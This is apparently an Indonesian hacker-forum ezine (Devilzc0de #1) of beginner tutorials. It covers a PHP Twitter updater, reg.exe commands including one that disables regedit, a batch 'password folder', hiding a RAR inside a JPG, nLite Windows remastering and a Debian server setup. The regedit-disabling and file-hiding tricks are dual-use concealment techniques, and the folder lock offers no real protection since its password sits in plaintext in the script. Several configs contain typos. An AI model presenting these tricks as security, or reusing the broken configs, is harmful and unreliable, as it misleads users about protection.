$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);


Devilzc0de Ezine #1

// if we were successfull we need to update our last_message


if ($httpcode == '200')
{
$this->db->where('active', '1');
$this->db->update($this->accounts_table, array('last_message' => $message));

return TRUE;
}

else
{
return FALSE;
}
}
?>

Pada baris pertama kode diatas mungkin terlihat complicate tapi sebenarnya tidak sulit untuk dimengerti.
Bagian paling penting yang kita gunakan adalah cURL untuk berkomunikasi dengan Twitter. Itu library
yang sangat mantap yang memperbolekan kita untuk mengirim dan menerima HTTP POST data dari
Twitter.
Lalu curl-init menunjukkan sesi cURL dan mengambil URL sebagai parameter - dalam kasus ini, URL
update status dari Twitter API.
Lalu, curl_setopt, kita mengeset beberapa opsi yang biasa digunakan untuk transfer cURL.
• CURLOPT_POST : Kita set menjadi '1' untuk menggunakan HTTP POST, yang sama kita gunakan
dalam Form HTML.
• CURLOPT_POSTFIELDS : Opsi ini untuk menerima POST data yang kita kirim. Dalam kasus ini
'status=' pesan kita. Kita perlu meng-encode URL pesan kita sehingga bisa menggunakan karakter
khusus seperti '%&/'

• CURLOPT_RETURNTRANSFER : Ini sangat penting untuk kita set menjadi '1' karena akan
mengembalikan transfer menjadi string. Dimana string tersebut akan memberitahu kita apakan status kita
telah berhasil terupdate ataukah tidak
• CURLOPT_USERPWD : opsi ini untuk otentikasi. Ini secara sederhana menggunakan username
dan password twitter kita dalam format username:password

Pada bagian bawahnya kita mengekusi transfer dengan curl_exec() dan mengambil HTTP_CODE yang
dikembalikan menggunakan curl_getinfo(CURLINFO_HTTP_CODE). HTTP_CODE ini memberitahu kita
jika status update kita sudah komplit atau kah belum. Kode '200' berarti berhasil dan update telah dilaku-
kan.

Jika kita mendapatkan kode '200' dari Twitter, kita kirim query ke database kita dimana baris terakhir
pesan kita telah terupdate, dan akhirnya kita kembalikan nilainya menjadi TRUE, jika 200 tidak ada, kita
kembalikan nilainya menjadi FALSE.
Devilzc0de Ezine #1

Dalam akhir twitter_model ini, kita akan membuat metode terakhir yang mana, kita akan mendapatkan
pesan terakhir yang kita kirim. Kita perlu membuat metode ini karena kita akan menampilkan pesan yang
paling sering dibuat dalam satu view.

<?php
// get the last_message, by row active = 1
function getLastMessage()
{
$this->db->select('last_message');
$last_message = $this->db->get_where($this->accounts_table, array('active' => '1'))->row()-
>last_message;

return htmlspecialchars($last_message);
}
?>

Metode ini sangatlah simple. Metode tersebut memilih baris pesan terakhir dari akun yang aktif dan
mengembalikan dan merubahnya dengan htmlspecialchar menjadi entiti HTML.
Sekarang twitter_model.php kita akan terlihat seperti dibawah ini :
<?php
class Twitter_model extends Model {

var $accounts_table = 'accounts';


var $update_url = 'http://twitter.com/statuses/update.xml';

// get the active twitter account from the database, by row active = 1
function getActiveAccount()
{
return $this->db->get_where($this->accounts_table, array('active' => '1'))->row();
}

// update twitter status and last message on success


function update_status($username, $password, $message)
{
$ch = curl_init($this->update_url);

curl_setopt($ch, CURLOPT_POST, 1);


curl_setopt($ch, CURLOPT_POSTFIELDS, 'status='.urlencode($message));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password);
Devilzc0de Ezine #1

curl_exec($ch);

$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// if we were successfull we need to update our last_message


if ($httpcode == '200')
{
$this->db->where('active', '1');
$this->db->update($this->accounts_table, array('last_message' => $message));

return TRUE;
}

else
{
return FALSE;
}
}

// get the last_message, by row active = 1


function getLastMessage()
{
$this->db->select('last_message');
$last_message = $this->db->get_where($this->accounts_table, array('active' => '1'))->row()-
>last_message;

return htmlspecialchars($last_message);
}
?>
Devilzc0de Ezine #1

Mengakses Registry dar DOS Promp

Disk Operating System (disingkat DOS) adalah keluarga sistem operasi yang digunakan di komputer
pribadi.( http://id.wikipedia.org/wiki/DOS ) Salah satu kegunaan Dos adalah dapat menangain registry
system Windows,

Yo,kita Buktikan.
Sedikit Penjelasan ya

Regedit.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis windows.
Reg.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis DOS (console).

Cara mengaksesnya adalah?

1. Masuklah ke Console Dos ( Buka Run-> ketik cmd )


Devilzc0de Ezine #1

2. Ketik Perintah Reg.

Maka akan ditampilkan beberapa opsi Operation yang bisa Anda gunakan untuk
mengakses registry Windows, seperti: QUERY, ADD, DELETE, COPY, SAVE, LOAD,
UNLOAD, RESTORE,COMPARE, EXPORT, IMPORT.

3. Ketik reg add /?


Maka akan ditampilkan paremeter-parameter yang dapat dimasukkan kedalam
perintah ADD.
Devilzc0de Ezine #1

Dengan pengantar singkat ini, Anda sudah bisa mengakses registry dalam DOS
(console).
Rootkey:
HKCR = HKEY_CLASSES_ROOT
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKU = HKEY_USERS
HKCC = HKEY_CURRENT_CONFIG

Data Type:
REG_SZ = String Value
REG_MULTI_SZ = Multi-String Value
REG_DWORD = DWORD Value
REG_BINARY = Binary Value
REG_NONE = No Value
Devilzc0de Ezine #1

Contoh :

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t


reg_dword /d 1 /f

Perintah tersebut akan men-disable regedit yang berbasis Windows.


Sedangkan untuk meng-enable regedit adalah dengan perintah berikut ini :

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t


reg_dword /d 0 /f

Atau

reg delete “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v


DisableRegistryTools

Demikian juga untuk perintah-perintah yang lain.


Teknik ini sangat ampuh digunakan untuk menangani berbagai macam virus yang
sempat membuat Anda kesal dengan polah tingkahnya. Blok sana, blok sini...
Hati-hati...!! bisa jadi virus mengubah fle reg.exe ini menjadi pemicu virus tersebut.
Saran saya: simpanlah fle reg.exe ini didalam media penyimpan yang aman, seperti
CD, Flash Disk, dll. dan jauhkan dari jangkauan virus. Suatu saat Anda akan
Membutuhkannya.

Writer : misterfribo ( misterfribo@indonesianhacker.org )


Devilzc0de Ezine #1

Membuat Folder dengan Password


Yuhhuu..
oke kali ini ane coba berbagi tips kepada ente sekalian tentang bagaimana membuat folder dengan pass-
word tanpa menggunakan software cuma Notepad aja..kekekekeke

Langsung aja ga perlu basa basi (masalahnya ane juga ga bisa basa basi :) kekekee)

1. Buka Notepad dan copy paste kode di bawah ini :

cls
@ECHO OFF
title el_nino
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST el_nino goto MDLOCKER
:CONFIRM
echo Apakah ente ingin Mengunci Folder el_nino Tersebut ? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Ketik Y atau N.
goto CONFIRM
:LOCK
ren el_nino "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo el_nino Terkunci
goto End
:UNLOCK
echo Masukkan Password untuk membuka Folder
set/p "pass=>"
if NOT %pass%== 1234 goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" el_nino
echo el_nino sudah di buka
goto End
:FAIL
echo Password salah
goto end
:MDLOCKER
md el_nino
echo el_nino Sukses di buat
goto End
:End
Devilzc0de Ezine #1

2. Ente dapat mengganti tulisan “1234” dengan password yang ente mau.

3. Save As File tersebut dengan Nama terserah ente yang penting bereksistensi .bat
Misalnya di sini ane buat siganteng.bat

4. Klik file siganteng.bat ( Dia akan membuat Folder pribadi dengan nama “el_nino” )

5. Klik kembali file siganteng.bat dan masukkan “y” untuk mengunci folder tersebut.

6. Untuk membuka nya ente bisa mengklik file siganteng.bat kembali dan masukkan password ente.

Semoga Bermanfaat..
Devilzc0de Ezine #1

Menyembunyikan File ke dalam Gambar


Hoo..ho..

Di bagian yang kedua ini ane mencoba membagikan sedikit tips bagi ente, bagiamna cara menyembunyi-
kan file ke dalam sebuah file gambar.

Sebelumnya pastikan bahwa komputer ente telah terinstall WinRar.

Langsung aja nyook :)

Langkah 1 :

Kumpulkan file-file yang ingin di sembunyikan dan compress jadi satu dengan menggunakan Winrar.
Misalkan di sini ane beri nama elninofile.rar :)
Devilzc0de Ezine #1

Langkah 2 :

Siapkan sebuah file gambar (.jpg).


Misalkan lagi di sini ane beri nama ganteng.jpg :)
Devilzc0de Ezine #1

Langkah 3 :

Letakkan kedua file tersebut ( File ganteng.jpg dan elninofile.rar ) dalam sebuah directory yang sama.
misalkan di sini ane taruh di Drive C (misalkan molo..kekekekek) :
Devilzc0de Ezine #1

Langkah 4 :

Buka Command Prompt dan ketikkan :


c:\>copy /b ganteng.jpg+elninofile.rar el_nino.jpg

Langkah 5 :

Jreng..Jreng Setelah itu akan tercipta sebuah file baru dengan nama el_nino.jpg.
Coba ente buka file el_nino.jpg.
Devilzc0de Ezine #1

Sekilas tidak akan ada bedanya dengan file ganteng.jpg kecuali ukuran filenya yang bertambah besar.
ente tetap bisa membuka file tersebut dengan Picture Editor atau Image Viewer lainnya.
Tidak ada tanda-tanda bahwa sebenarnya ada sebuah file didalamnya..kekekekeke :)

Langkah 6 :

Bagaimana cara membukanya :( ?


Klik kanan pada file el_nino.jpg lalu pilihlah
[Open With] –> [Choose Program..]. Pilihlah WinRar lalu klik [OK]. :)

ente akan bisa melihat file dan bisa mengextract seperti biasanya.

Semoga Bermanfaat :)

Thank’s to :

petimati | whitehat | kiddies | xtronic | chaer.newbie | wenkhairu | wahyu_devilzc0de | gonzhack | nacko |


ketek | devilz_nonkrong | android2009 | iblismuda | zal__freaks | t3mp3

And All STAFF, Moderator, Admin, Activis, Member Devilzc0de.org


Devilzc0de Ezine #1

Dasar Menggunakan Python


Pada kesempatan ini saya ingin berbagi dasar2 Python yg sedang saya pelajari juga, Kita mulai...
Pada OS Windows, ada 2 pilihan program Python yg bisa digunakan :
- Python (command line)
- IDLE (Python GUI)
keduanya mempunyai perbedaan yg utama yaitu :
- Python, bekerja dalam modus teks.
- IDLE, bekerja dalam modus grafis.

Apabila anda sudah menginstall Python ke pc, selama sebelum di rubah menu start dapat langsung klik
menu start - All Program - Python 2.6 - Python (command line) untuk menjalankan program Python dalam
modus teks. Atau klik menu start - All Program - Python 2.6 - IDLE (Python GUI) untuk menjalankan
program IDLE (Python GUI) dalam modus grafis.

Saya menggunakan Python 2.6 jadi contoh diatas sama dengan yg ada di pc saya, tapi perintahnya sama
pada python versi sebelumnya.
Anda dapat memilih atau menentukan program mana yang akan digunakan untuk bekerja dengan
program Python. Masing masing mempunyai kelebihan/keunggulan maupun kekurangan/kelemahan.

Python yang ada dalam modus teks lebih unggul dalam hal kecepatan, sedangkan IDLE memiliki lingkun-
gan kerja yg lebih lengkap dan terintegrasi. Contohnya, pada IDLE tersedia fasilitas debug dan editor
untuk membuat script.
Gambar Python (command line)
Devilzc0de Ezine #1

Gambar IDLE (Python GUI) :

2 cara menggunakan Python :


- Penggunaan secara langsung (interaktif),
- Membuat script program yg isinya perintah-perintah Python.

Untuk cara menggunakan yg pertamaxx, baik pada Python maupun IDLE... anda hanya mengetikkan
perintah di depan prompt >>>.
Setelah tekan ENTER, hasilnya dari perintah itu akan langsung tampil dibawahnya...
Devilzc0de Ezine #1

Perhatikan contoh dibawah ini, contoh gambar dibawah ini saya menggunakan IDLE :

Untuk keluar atau mengakhiri menggunakan Python secara langsung , pada Python (command line)
tekan tombol Ctrl + Z, sedangkan pada IDLE tekan Ctrl + D.

Penting :
Sebaiknya, penggunaan Python secara langsung hanya digunakan untuk mencoba instruksi atau
perintah, atau paling tidak untuk melakukan perhitungan sederhana, seperti penjumlahan, pengu-
rangan, perkalian, dan lain sebagainya.

sementara itu dulu kawan semua... topik ini memang tentang dasar/awal mengenai Python, sekalian
latihan nulis aja neh om...
semoga tulisan saya yg pendek ini bisa bermanfaat... Terima kasih …
Devilzc0de Ezine #1

Tutorial Remastering Windows


Assalamu’alaikum…

Adapun manfaat lain dari remastering kali ini adalah proses installasi jadi lebih cepat, yang defaultnya 32
menit bisa kita kurangi menjadi 8-15 menit saja, ya sekitar 8-15 saja untuk melakukan instalasi Windows
yang sudah kita remastering ini. Selain itu kita juga bisa membuat unattended installation, yaitu kita bisa
menanamkan serial number installasi, konfigurasi waktu/timezone, user, networking dan lain sebagainya
pada windows yang akan kita remastering, sehingga ketika kita melakukan installasi menggunakan win-
dows remastering ini, kita hanya perlu menentukan partisinya dan setelah itu kita bisa meninggalkannya
sampai selesai tanpa perlu memasukkan serial number dan konfigurasi2 lainnya.

Adapun yang kita perlukan untuk remastering windows adalah :

1. Source Windows ataupun CD Installer Windows


2. Installasi terlebih dahulu .Net Framework, pada simulasi kali ini saya menggunakan .Net Frame-
work 2.0 x86, bagi mahasiswa STT Telkom bisa mendownloadnya di iefile. atau Installernya bisa
d-download di sini
3. Setelah .Net Framework terinstall, maka kita harus menginstall nLite, kebetulan pada simulasi ini
saya menggunakan nLite versi 1.3.5. nLite ini adalah aplikasi yang berfungsi untuk me-remaster win-
dows. Installernya ada di sini
Nah setelah semua syarat terpenuhi, sekarang kita akan melakukan proses remastering windows terse-
but. Langkah2nya adalah :

1. Buka/jalankan Aplikasi nLite tersebut. Pada simulasi kali ini, saya memilih Indonesia sebagai
bahasanya. Kemudian klik button “Lanjut”.
Devilzc0de Ezine #1

2. Klik Button “Browse” untuk menentukan lokasi dimana master windows yang akan kita remaster-kan.

3. Setelah itu akan terlihat apa nama produk, versi, bahasa dan ukuran dari windows yang akan kita
remaster-kan. Setelah itu klik button “Lanjut”

4. Setelah itu akan keluar tampilan Preset, yang berfungsi menggunakan settingan remastering sebelum-
nya. Pada simulasi kali ini, saya asumsikan kita belum pernah melakukan proses remastering sebelum-
nya, jadi tidak ada settingan yang tersimpan. Sehingga jika muncul tampilan seperti di bawah ini, lang-
sung aja klik Button “Lanjut”
Devilzc0de Ezine #1

5. Setelah itu akan keluar tampilan seperti di bawah ini, yaitu opsi apakah ingin melakukan integrasi,
menghapus komponen, mengatur konfigurasi setup, dan opsi membuat bootable ISO. Pada simulasi kali
ini, saya memilih semua opsi, KECUALI integrasi. Karena fokus kita kali ini adalah bukan
menambahkan/menyisipkan, melainkan melakukan penghapusan komponen dan melakukan konfigurasi.
Setelah opsi dipilih, klik button “Lanjut”

6. Akan keluar tampilan seperti di bawah ini, untuk tampilan window kompatibilitas, kita bisa mengabai-
kannya dengan mengklik tombol “Batal” pada window kompatibilitas. Adapun maksud dari window kom-
patibilitas ini bisa kita lihat dari capture gambar di bawah ini.
Devilzc0de Ezine #1

7. Selanjutnya kita akan dihadapkan dengan window seperti di bawah ini. Window ini berisi komponen-
komponen yang akan kita buang. Dengan men-Checklist opsi yang ada, berarti kita akan men-drop
komponen-komponen tersebut. Penting untuk diingat, bahwa penjelasan dari masing-masing komponen
ada tertera di kolom paling kanan ketika kursor kita berada pada opsi yang kita pilih dan KOMPONEN YG
AKAN KITA BUANG RELATIF ANTAR TIAP ORANG, TERGANTUNG DENGAN KEBUTUHAN
MASING-MASING. Sebagai Contoh saya akan men-drop wordpad pada opsi Aplikasi. Karena menurut
saya fungsi wordpad sudah bisa digantikan dengan notepad, ditambah lagi saya memang berniat men-
ginstall Office nantinya, sehingga wordpad saya rasa tidak perlu. Kalo Anda ingin mengikuti langkah2
saya dalam men-drop komponen-komponen apa saja, yah silahkan…

Berikut ini komponen-komponen yang saya hapus (ditandai dengan opsi yang di-checklist) :
Untuk Opsi Aplikasi :
Devilzc0de Ezine #1

Untuk Opsi Bahasa (untuk opsi bahasa ini saya men-checklist semuanya):

Untuk Opsi Drivers :

Untuk Opsi Dukungan Hardware, saya tidak men-checklist satu komponen pun.
Untuk Opsi Jaringan, saya HANYA men-checklist komponen Bimbingan Koneksi Internet, MSN Explorer,
Piranti Komunikasi, Windows Messenger :
Devilzc0de Ezine #1

Untuk Opsi Keyboard, saya men-checklist semuanya KECUALI United Kingdom Keyboard dan United
States-International Keyboard.
Untuk Opsi Layanan, saya men-checklist komponen-komponen berikut, yaitu : Layanan fax, Layanan
Indexing, Logon Sekunder, Otomatis Memutakhirkan, Pelaporan Kesalahan, Remote Registry, Waktu
Windows.
Untuk opsi Multimedia :
Devilzc0de Ezine #1

Untuk Opsi Sistem Operasi, perlu diperhatikan bahwa komponen Out Of Box Experience (OOBE), sebai-
knya jangan di check list, Terkecuali jika windows yang akan kita remastering adalah versi corporate win-
dows.:

Untuk Opsi Direktori (saya men-checklist semua komponen):


Devilzc0de Ezine #1

8. Selesai sudah tahap pembuangan/penghapusan komponen. Klik Tombol Lanjut.Kita akan dihadapkan
dengan opsi Unattended, yang baerarti di sini kita bisa menanamkan serial number, dan konfigurasi-
konfigrasi lainnya(seperti user, networking, timezone, Desktop, dan lain-lain) sehingga windows hasil
remastering ini nantinya tidak meminta serial number dan konfigurasi-konfigurasi lainnya ketika diinstall,
karena semuanya sudah kita embedded-kan.

9. Setelah melakukan konfigurasi unattended sesuai dengan keinginan kita, lalu klik button “Lanjut” seh-
ingga akan keluar tampilan seperti di bawah ini. Lakukanlah pemilihan opsi dan settingan sesuai dengan
kebutuhan Anda.
Devilzc0de Ezine #1

10. Klik button “Lanjut” , kemudian akan keluar tampilan seperti di bawah ini, yaitu opsi Tweaks yang
berfungsi untuk melakukan penanaman settingan registry

dan aneka service yang akan distartup, sebagai contoh kita mensetting agar key CTRL+ALT+DEL tidak
bisa dieksekusi sewaktu proses masuk dan settingan lainnya.

11. Setelah Opsi Tweaks ini selesai kita konfigurasi, klik-lah button “Lanjut” untuk memproses windows
yang kita remastering-kan tadi menjadi files installasi. Ilustrasinya kurang lebih seperti gambar di bawah
ini :
Akan keluar tampilan seperti di bawah ini. Klik-lah button “Yes” untuk memulai pemrosesan :
Devilzc0de Ezine #1

Setelah button “Yes” di-klik, maka tampilannya kurang lebih seperti di bawah ini yang menandakan
proses membuat ke file installasi :

Setelah pemrosesan selesai, dimana ilustrasinya kurang lebih seperti gambar di bawah ini. Dapat kita
amati bahwa file installer windows XP SP2 hasil remastering kita sekarang HANYA berukuran 170,91 MB.
Coba bayangin yang mana ukuran

file installer aslinya adalah 574,20 MB berkurang secara drastis menjadi 170,91 MB. Kecil sekali bukan,
yang mana berarti kita telah membuang 403,29 MB komponen dan service yang tidak kita perlukan yang
hanya menghabisin space dan memory PC kita.
Devilzc0de Ezine #1

12. Klik-lah button “Lanjut”. Telah selesailah tahap pemrosesan ke bentuk files installasi. Sekarang kita
akan membuat image dari files installer hasil remastering tadi. Yup, kita akan membuat ISO bootable dari
installer hasil remastering tadi. Lakukanlah perubahan seperlunya, seperti Label dan lain-lain. Kemudian
klik-lah button Buat ISO untuk memulai proses pembuatan ISO file installer windows SP2 hasil remaster-
ing yang telah kita lakukan. Perhatikan gambar di bawah ini:

Selesai sudah proses remastering windows yang kita lakukan. Sekarang kita sudah memiliki installer
Windows XP SP2 yang hanya berukuran mini, yaitu 170,91 MB. Ditambah lagi dengan keunggulan-
keunggulan yang dimilikinya, seperti proses installasi hanya 8-15 menit saja, serta unattended installation
yang menyenangkan. Thanx alot nLite, akhirnya PC-PC tua ini sudah bisa dikelola dengan baik dan
muantabz.

Mudah-mudahan , apa yang menjadi tulisan saya ini, dapat bermanfaat bagi semua..Terima kasih atas
perhatiannya..

Wassalamu’alaikum…..
Devilzc0de Ezine #1

Membuat Server Sederhana dengan Debian 4


A. SETTING ROUTER

ROUTER adalah suatu alat pada dunia komputer yang berguna untuk membelokkan data dari
suatu sistem jaringan ke sistem yang lain. Logikanya sebuah sistem jaringan tidak dapat berpindah ke
sistem yang lain. Exp Sis A. Menggunakan IP 192.168.1.1 dan Sis B. Menggunakan IP 192.168.2.1 Maka
Kompi yang menggunakan Sis A tidak dapat melakukan komunikasi dengan Sis B tanpa Router.

Di sini saya akan mensetting router pada debian 4, menggunakan 2 lancard dengan cara sebagai
berikut :

#nano /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
auto eth1
iface eth1 inet static
address 10.10.10.1
netmask 255.255.255.0
network 10.10.10.0
broadcast 10.10.10.255

#nano /etc/resolv.conf
nameserver 202.134.0.155
nameserver 203.130.196.5

#nano /etc/rc.local
iptables -t nat -A POSTROUTING -j MASQUERADE

#nano /etc/sysctl.conf
net.ipv4.ip_forward = 1

B. SETTING DNS

Pengertian dan Penjelasan DNS (Domain Name Server)

DNS adalah sebuah aplikasi services di Internet yang menerjemahkan sebuah domain name ke IP
address. Sebagai contoh, www untuk penggunaan di Internet, lalu diketikan nama domain, misalnya:
yahoo.com maka akan di petakan ke sebuah IP mis 202.68.0.134. Jadi DNS dapat di analogikan pada
pemakaian buku telepon, dimana orang yang kita kenal berdasarkan nama untuk menghubunginya kita
harus memutar nomor telepon di pesawat telepon. Sama persis, host computer mengirimkan queries
berupa nama komputer dan domain name server ke DNS, lalu oleh DNS dipetakan ke IP address.
Devilzc0de Ezine #1

Domain Name System ( DNS )

Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama
komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control
Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web
browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address.
Selain digunakan di Internet, DNS juga dapat di implementasikan ke private network atau intranet dimana
DNS memiliki keunggulan seperti:

1. Mudah, DNS sangat mudah karena user tidak lagi direpotkan untuk mengingat IP address sebuah
komputer cukup host name (nama Komputer).
2. Konsisten, IP address sebuah komputer bisa berubah tapi host name tidak berubah.
3. Simple, user hanya menggunakan satu nama domain untuk mencari baik di Internet maupun di
Intranet.

Pada bagian ini saya akan meneruskan dari setting router tadi ke setting dns, berikut caranya:
Installasi paket terlebih dahulu:
#apt-get install bind

Kemudian kita meng-edit file named.conf:


#nano /etc/bind/named.conf
zone “10.10.10.in-addr.arpa” {
type master ;
file “db.10;
};

zone “maswahyu.sch.id” {
type master ;
file “db.maswahyu;
};

Membuat db pada directory bind :

#cd /etc/bind/
#touch db.maswahyu
#nano db.maswahyu
Ini merupakan file domain ke ip

$TTL 86400
@ IN SOA maswahyu.maswahyu.sch.id root.localhost (
4 ; serial
1w ; refresh
3h ; retry
3w ; expire
1w ; ttl
)
IN NS 10.10.10.1.
Devilzc0de Ezine #1

maswahyu IN A 10.10.10.1
www IN CNAME maswahyu

#cp db.maswahyu db.10


#touch db.10
#nano db.10
Ini merupakan file ip ke domain

$TTL 86400
@ IN SOA maswahyu.maswahyu.sch.id root.localhost (
4 ; serial
1w ; refresh
3h ; retry
3w ; expire
1w ; ttl
)
@ IN NS 10.10.10.1.
1 IN PTR maswahyu.sch.id.

# nano /etc/resolv.conf
nameserver 10.10.10.1
nameserver 202.134.0.155
nameserver 203.130.196

#/etc/init.d/bind restart
#/etc/init.d/bind start

C. SETTING HTTP SERVER

Pengertian HTTP SERVER


HTTP (Hypertext Transfer Protocol) suatu protokol yang digunakan oleh WWW (World Wide Web). HTTP
mendefinisikan bagaimana suatu pesan bisa diformat dan dikirimkan dari server ke client. HTTP juga
mengatur aksi-aksi apa saja yang harus dilakukan oleh web server dan juga web browser sebagai respon
atas perintah-perintah yang ada pada protokol HTTP ini.
Contohnya bila kita mengetikkan suatu alamat atau URL pada internet browser maka web browser akan
mengirimkan perintah HTTP ke web server. Web server kemudian akan menerima perintah ini dan
melakukan aktivitas sesuai dengan perintah yang diminta oleh web browser. Hasil aktivitas tadi akan
dikirimkan kembali ke web browser untuk ditampilkan kepada kita.

Sementara HTTPS (Securre HTTP) merupakan bentuk protokol yang aman karena segala perintah dan
data yang lewat protokol ini akan diacak dengan berbagai format sehingga sulit untuk dibajak isinya
maupun dilihat perintah-perintah yang dieksekusi.
Devilzc0de Ezine #1

Pada bagian ini saya akan mensetting http server pada debian 4.
Terlebih dahulu kita menginstall paket-paket yang di butuhkan, disini saya akan menginstall paket yang di
butuhkan dari membuat http server sampai web mail server.
Sebelum mengintall paket, disarankan untuk menghapus exim4 pada aptitude, karena dapat mengha-
langi kita dalam mensetting mail server. Berikut cara settingannya:

#apt-get install lynx, apache, nmap, php4-imap,postfix, squirrelmail, courier-imap, courier-pop.


#cd /var/www/
#nano index.html
<htlm>
<head><litle> maswahyu2009 </litle></head>
<body>
“selamat datang di maswahyu2009”
</body>
</html>
#touch index.php
#nano index.php
<?php
echo
“selamat datang di maswahyu2009”
?>
#nano /etc/apache/httpd.conf
ServerAdmin admin@maswahyu.sch.id
ServerName www.maswahyu.sch.id
# Include /etc/apache/conf.d
#/etc/init.d/apache restart
#/etc/init.d/apache start
#lynx www.maswahyu.sch.id
#lynx www.maswahyu.sch.id/index.php

E. SETTING MAIL SERVER

#nano /etc/postfix/main.cf
mydestination = maswahyu.maswahyu.sch.id, maswahyu.maswahyu.sch.id, localhost,
maswahyu.sch.id, localhost
mynetwork = 122.0.0.0/8 10.10.10.0/24
#mail_command = procmail -a “$EXTENSION”
inet_interfaces = all
name_mailbox = Maildir/
mydomain = maswahyu.sch.id
#cd /etc/skel
#maildirmake Maildir/
#cd Maildir/
#adduser admin
password admin
Devilzc0de Ezine #1

F. SETTING WEBMAIL SERVER


#nano /etc/apache/httpd.conf
Alias /webmail/ /usr/share/squirrelmail/
<Directory /usr/share/squirrelmail>
Options MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
#/etc/squirrelmail/conf.pl
pilih 2 untuk server setting
pilih 1 untuk domain
sisikan maswahyu.sch.id
pilih a untuk update imap setting
pilih 8 untuk server software
isikan : courier
pilih q kemudian y
#/etc/init.d/apache restart
#lynx www.maswahyu.sch.id/webmail/

D. SETTING PROXY
Pengertian proxy
Proxy server adalah program yang menerima permintaan (request)dari klien, seperti browser web atau ftp
klien,dan kemudian meneruskan permintaan tersebut ke server internet yang dituju.

Kelebihan menggunakan Proxy server


Kelebihan Operating System yang menggunakan proxy adalah data yang diminta dari klien akan diarah-
kan ke server proxy kemudian dilanjutkan ke server internet.Pada saat data dari server datang,data terse-
but akan diarahkan oleh server internet ke server proxy kemudian server proxy meneruskan data tsb ke
klien yg memintanya.
Disamping memberikan data ke klien,server proxy juga menyimpan salinan data itu sebagai webcache di
hardisk.Apabila ada user lain yg meminta data yg sama,maka server proxy akan mengambil data tersebut
dari hardisknya tanpa harus melakukan koneksi ke server internetyg menyediakan data tsb. Kalau
permintaan yg sama dilakukan oleh user berkali-kali tentu akan mempengaruhi kecepatan akses internet
secara signifikan.
Fungsi Proxy Juga Sebagai Caching
Dengan menyimpan halaman tersebut pada server lokal, proxy dapat menghilangkan akses Internet yang
berlebih untuk mengambil kembali halaman yang sama berulang-ulang. Jadi, proxy mula-mula sangat
efektif untuk web caching. Namun, Internet sekarang sudah cepat, halaman web bersifat dinamis dan
kepentingan user di dalam satu organisasi hanya terdiri dari ratusan halaman web. Faktor-faktor ini
menyebabkan caching proxy menjadi tidak efektif, kecuali pada organisasi yang sangat besar atau ISP.
Meskipun semua browser standar mempunyai dukungan terhadap proxy server, sejak 1996 jarang digu-
nakan.
Pada bagian ini saya akan mensetting proxy pada debian 4, dengan perintah dan script sebagai berikut:
Devilzc0de Ezine #1

Terlebih dahulu kita installasi paket yang di butuhkan:


#apt-get install squid
#nano /etc/squid/squid.conf
http_port 8080 transparent
cache_mem 64 MB
cache_swap_low 90
cache_swap_hight 95
maximum_object_size 4096 kb
minimum_object_size 0 kb
maximum_object_seze_in_memory 8 kb
cache_mgr admin@maswahyu.sch.id
visible_hostname proxy.maswahyu.sch.id
cache_effective_user proxy
cache_effective_group proxy
cache_dir auf /var/spool/squid 100 16 256
cache_dir diskd /cache (colum hdd cache ) 10 256 Q1=72 Q2=64
acl filter1 dstdomain “/etc/squid/domain”
acl filter2 url_regex -i “/etc/squid/kata”
acl client src 10.10.10.0/24
http_access deny filter1
http_access deny filter2
http_access allow client

#touch /etc/squid/domain
#nano /etc/squid/domain
www.youporn.com
www.miyabi.com
www.porn.com
www.proxywebsite.org
www.proxy4free.com

#touch /etc/squid/kata
#nano /etc/squid/kata
sex
sexy
bugil
porno
porn
nude
maria
ozawa
games
gamer
wanita
mandi
cara
hacker
Devilzc0de Ezine #1

hacking
crack
cracker
#nano /etc/rc.local
iptables -t nat -F
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp -m tcp –dport 80 -i eth1 -s 10.10.10/24 -j DNAT --to-destination
10.10.10.1:8080

#chown -R proxy.proxy /cache


#squid –z ( membuat swap untuk proxy )
#squid –D ( menrunningkan proxy )
#/etc/init.d/squid restart
#nmap localhost ( melihat apakah proxy kita sudah jadi )

G.SETTING SAMBA

Pengertian samba :

Samba merupakan service yang berfungsi untuk filesharing dan printer Linux pada client Win-
dows. Pada saat instalasi debian Etch 4.0, paket samba sudah ada di opsi awal pemilihan paket yang
bernama filesharing. Namun, perlu diketahui bahwa konfigurasi awal dari samba tersebut dirasa kurang
sempurna walaupun secara security sudah baik.

Sebelum anda hendak mensharing suatu folder, maka pastikan dulu file-file tersebut memiliki hak yang
bisa diakses oleh siapa saja. Gunakan perintah "ls -al" pada suatu folder melalui konsole. Dari sana akan
terlihat file-file tersebut memiliki hak untuk siapa saja. Kasusnya, anda pasti sebal bahwa file yang telah
anda sharing ternyata tidak dapat di-edit. Sedangkan pada konfigurasi samba-nya, status writeable aktif.
